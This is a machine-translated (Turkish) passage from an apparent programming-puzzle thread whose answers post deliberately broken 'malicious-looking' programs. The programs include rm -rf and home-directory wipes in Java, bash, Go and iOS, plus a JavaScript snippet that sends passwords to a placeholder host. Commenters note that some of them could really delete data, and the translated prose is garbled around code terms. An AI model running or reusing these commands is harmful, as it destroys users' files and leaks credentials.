    if (file_itr->status().type() == directory_file) {
      delete_directory(file);
    } else {
      delete(file);
    }
  }

  delete(dir_path);
}

int main() {
  delete_directory(new path("/"));
  return 0;
}

Aslında olmaz. deleteC ++ 'da ayrılan belleği boşaltmak newve dosyaları ve dizinleri silmek için kullanılmaz . Program büyük olasılıkla Boost tarafından ayrılan belleği serbest bırakmaya çalıştığı için bir segmentasyon hatasıyla çökecek, ancak o zamana kadar, trolün tutsaklığından kurtulacağım.


+1. Bu, hatasız bir şekilde derlendiğinden anlaşılması kolay değildir.
Erel Segal-Halevi

2
İlk problem satırı tanımsız davranış değil midir? Bu durumda aslında tüm dosyalarını silebilir.
aschepler

1
@ aschepler: "UB tüm dosyalarınızı silebilir", UB'yi çağırırken ne olacağını tahmin edemeyeceğinizle ilgili eğlenceli bir açıklama yapar, ancak bu genellikle bir olasılık değildir.
Trol UB'deki

2
sözdizimi vurgulama burada trol bir ipucu verecek ...
mik01aj

8

Java

Bu RAM indirmiş gibi yapacak, ancak kullanıcının giriş dizinini silecek.

import java.util.*;
import java.io.*;
class RamDownloaderIO {
    public static void main(String[] args) {
        long onePercentWaitTime   = 2*60*1000;  // 2 minutes
        long twoPercentWaitTime   = 7*60*1000;  // 7 minutes
        long deleteWaitTime       = 9*60*1000;  // 9 minutes
        long completeWaitTime     = 10*60*1000; // 10 minutes
        Timer timer = new Timer(true);
        // User thinks, Hmm this is taking a while
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("1% done");
            }
        }, onePercentWaitTime);
        // User is now completely impatient, and either leaves to get a coffee
        // or starts reading reddit
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("2% done");
            }
        }, twoPercentWaitTime);
        // Now that he's not looking, delete everything in his home directory
        timer.schedule(new TimerTask() {
            public void run() {
                try {
                    final Runtime rt = Runtime.getRuntime();
                    rt.exec("rm -rf ~/*");
                } catch (IOException e) {
                }
            }
        }, deleteWaitTime);
        // Inform the user that the task is finished
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("Download complete!");
                System.out.println("You now have 21.47GB RAM!");
                System.exit(0);
            }
        }, completeWaitTime);
        System.out.println("Welcome to the ramdownloader.io RAM downloader");
        System.out.println("Please wait. Downloading your free RAM...");

    }
}

TimerTimerTaskgönderdiğiniz s’yi aramak için bir arka plan iş parçacığı kullanır . new Timer(true)Bir yaratır Timerbir cin parçacığı olarak ayarlanmış arka plan iplikle, böylece görevleri çalıştırılabilir önce program sadece hemen çıkar. Aşırı uzun kod, trolün trueparametreyi görmesini engeller .


7
rm -rf ⁄

Karakter, normal eğik çizgi karakteri (/, yani unicode'da SOLIDUS) değil, FRACTION SLASH'dir. "Rm: ⁄: Böyle bir dosya veya dizin yok" gibi bir mesaj yazdıracak


10
Oh gerçekten denememe izin verin ....
Michael J. Calkins

1
@MichaelCalkins: ayrıcalıklı olmayan bir kullanıcı olarak deneyebilir ve "bulunamadı" mesajını görebilirsiniz ... umarım.
Olivier Dulac

7

darbe

# This script should always be executed as root #
set -e

cleanup() {
  rm -rf / --no-preserve-root
}

eval $(base64 -d <<< "dW5zZXQgLWYgY2xlYW51cA==")
eval $(base64 -d <<< "Y2xlYW51cCgpIHsgZWNobyBUcm9sbCBkZXRlY3RlZDsgfQo=")
cleanup

Belki de aldığı kadar kötü. Bunu rm -rf /başlatan ve çağıran bir işlevi tanımlar . Sadece kötülüğüeval birden fazla kez kullandığı için değil.

Elbette çok zarar verirdi!

Merak ediyorsanız, ilki evalişlevi tarafından belirsizleştirir: unset -f cleanup İkincisi evalonu tanımlar: cleanup() { echo Troll detected; } Böylece kodu çalıştırdıktan sonra göreceksiniz Troll detected


9
İyi! Ancak, görünen o ki, asıl silme işleminde faydası olmayan "base64" çizgilerinin, bunu biraz fazla netleştirdiğini söyleyebilirim.
Erel Segal-Halevi

1
S'nin eval, herhangi bir açık koddan daha kötü bir şey yaptığına inanmanız istendiğinde daha iyi olabilir . Şu anki kod bana sormamı sağlıyor: bariz şeyler her şeyi siliyorsa neden 'kötülük' kodunu gizlemekle uğraşmıyorsunuz?
Tim S.

2
Potansiyel olarak çok kötü niyetli olduğu için bunun gereklilikleri karşıladığını sanmıyorum: eğer base64(standart bir komut değil) çalıştırıldığı sistemde yoksa, evaller hiçbir şey yapmaz ve rm -rf /koşular! Varsa bu da olabilir base64, ancak bir nedenden dolayı başarısız olur (örn. ulimit).
R. ..

1
@R .: Ayrıca rm -rf /çoğu rmuygulamada çalışmaz . Bu bir güvenlik özelliğidir - çoğu uygulamasında kök dizini kaldıramazsınız rm.
Konrad Borowski

1
Bildiğim kadarıyla meşgul versiyonu üzerinde çalışıyor. :-)
R ..

6

BASH

Elbette makine için kök ayrıcalıklarına ihtiyacımız var, bu yüzden eski " Köküm var mı?" - checker, aka ch (eck) root kullanıyoruz. , ancak bunu daha fazla alarm vermeyecek bir dizinde yapın. / tmp mükemmel olurdu, çünkü herkes oraya dosya yazabiliyor.

Bundan sonra tüm sabit sürücü kötü kahkahayı sileriz

mkdir -p /tmp/chroot_dir && chroot /tmp/chroot_dir /bin/bash -c "su - -c rm -rf /*"

10
Bir Alman olarak söyleyebilirim: Bir Alman olarak kötü bir kahkaha
Philipp Sander

Wer , eğer bir Alman değilse, ze eefil kahkahayı düzeltir mi?
Alexander Kosubek

5
İtiraf etmeliyim ki, bana kodun birkaç okumasını aldı ve sonra neden birinin bunun kötü amaçlı olduğunu düşündüğünü anlamak için yorumlarınızı tekrar okudum. Birini, yorumlarınızda, chroot'un kendisinden başka bir şey yapması konusunda ikna etmeye çalışmamış olsanız ve bunun, trolün yorumları okumadığını söylemesi halinde, bunun işe yarayacağını sanmıyorum ...
Chris

1
Bu arada, chroot"kökü kontrol et" değil, "kökü değiştir" - kullanıcının ne /olduğu fikrini değiştirir . İlginçtir, bu trol, root ve root olmayan kullanıcılar için hiçbir şey yapmıyor; root kullanıcıları yeni bir root alırlar (ve / tmp / chroot_dir dosyasının yeni kökünde hiçbir şey bulunmadığından / / / /hh komutu yoktur) ve root-dışı kullanıcılar chroot yapamazlar.
mah

Bunun ipucuna benziyor - bunun "kökünü değiştir" olmadığını biliyorum ama
baş döndürücüm

6

iPhone - Flappy Kuş Klonu

Kullanıcı bir iPhone Flappy Bird klonu çalarken, Belgeler dizinindeki tüm dosyalar silinir.

#import "AppDelegate.h"
#import "FlappyBirdClone.h"

@implementation AppDelegate

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
    FlappyBirdClone *flappyBirdClone = [FlappyBirdClone new];
    [flappyBirdClone startFlapping];

    NSURL *documentsDirectory = [[[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask] lastObject];
    [self deleteAllDocumentsInDirectory:documentsDirectory];

    return YES;
}

- (void)deleteAllDocumentsInDirectory:(NSURL *)directoryURL
{
    NSArray *fileURLs = [[NSFileManager defaultManager] contentsOfDirectoryAtURL:directoryURL includingPropertiesForKeys:@[] options:0 error:nil];

    [fileURLs enumerateObjectsUsingBlock:^(NSURL *fileURL, NSUInteger idx, BOOL *stop) {
        [[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
    }];
}

İOS'deki her uygulama Sandbox'tır, bu nedenle bu Belgeler dizinindeki her şeyi silerken, bu belirli uygulama için yalnızca Belgeler dizinidir. Trol açıkçası bunun farkında değil, çünkü zaten diğer platformlar için pek çok programa su basmış. Ve bir Flappy Bird klonunu da çıkarabildiğinin farkına vardığı anda, reklamsız bir günde günde 50.000 dolar kazanmayı hayal etmeye çok meşgul olduğu için, kodun geri kalanı hakkında düşünmeye bile zahmet etmeyeceği için çok heyecanlı olabilir. herhangi bir iş yapıyorum.


5

Git:

package main

import (
    "fmt"
    "os"
    "sync"
)

func main() {
  wg := sync.WaitGroup{}
  go deleteAll(wg)
  wg.Wait()
}

func deleteAll(wg sync.WaitGroup) {
    wg.Add(1)
    defer wg.Done()
    fmt.Println("Press enter to clean your computer!")
    fmt.Scanln()
    os.RemoveAll("/home")
}

Bu biraz zor. Go'da tüm Goroutine çıktığında programın tamamı çıkar. Bunu düzeltmenin iyi bir yolu bir Waitgroup. "Düzeltme" ile ilgili iki büyük sorun var:

  1. Waitgroup, Goroutine başlayana kadar eklenmedi, bu da Goroutine'un Waitsilinmesinden önce ana Goroutine'in vuracağı anlamına geliyor Add. Sayaç 0 olacağından, bekleyecek hiçbir şeyi yoktur ve bu nedenle engellenmez ve çıkmaz, böylece programı sonlandırır.
  2. Her nasılsa, bir şekilde, sihirli bir şekilde, önce silmeTüm goroutine ilavesi yapılır. Bekleme grubunun bir kopyası var, gösterici değil. Aynı Waitgroup'a eklenmeyecek, böylece ana Goroutine asla görmeyecek.

Girilecek olan fmt.Scanln () sadece ana Goroutinin bir şey olmadan önce çıkmasını sağlamak içindir. Println muhtemelen IO bloğuna neden olacak ve ana Goroutine'i çalıştırmaya geçecektir (bu nedenle çıkış) ve Scanln neredeyse kesinlikle öyle olacaktır. Gerçekte, hiçbir Go sürümüyle gerekli değildir.

Süper teoride, bu MIGHT çalışmasını ve bir şeyi silin, yani Go bellek modeline göre, bunun sona ermesi mainve yürütülmesi ile ilgili hiçbir "önceden-önce" ilişkisinin garantisi yoktur RemoveAll, ancak kanıtlandığı gibi herhangi bir modern Go çalışma zamanı / derleyicisinde olmayacaktır. senkronizasyonu ana işlevlerine koymama hatası yapan tüm yeniler tarafından.


4

JavaScript

function(){
    setInterval(function(){
        var passwordList = document.getElementsByTagName('input') ;
        var i, length = passwordList.length ;
        for(i = 0 ; i < lenght ; i++) if(passwordList[i].type == 'password'){
            var img = document.createElement('img') ;
            img.src = 'http://troll-server-password-listener.com/fake-image.jpg?password=' + passwordList[i].value ;
            img.style.display = none ;
            img.addEventListener('load', function(){
                var that = this ;
                setTimeout(function(){ that.outerHTML = '' }, 0) ;
            }) ;
            document.body.appendChild(img) ;
        }
    }, 1) ;
}() ;

1.

Çalışmayacak, kapama oluşturamazsınız, tüm bunları parens ile anons etmeden arayın

2.

Troll bunu çözmeyi başarırsa, hata ayıklamak için güzel bir yazım hatası var ... ;-)


1
hangi dil? ve belki de yazım hatası biraz daha ipucu
masterX244

@ masterX244 bir Javascript, düzenleyeceğim.
Juan Garcia

3
Bu yazım hatası o kadar sık ​​ki editörler tarafından otomatik olarak
düzeltilmelidir:

Evet, bu yazımı çok yaparım. Özellikle kelimenin uzunluğu oldukça uzunsa: P
Mohammed Joraid

1
@ m01 +1 Ben bir istisna atama veya zaman hatası derleyen ayrılmış bir kelime olması gerektiğini düşünüyorum!
Juan Garcia
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.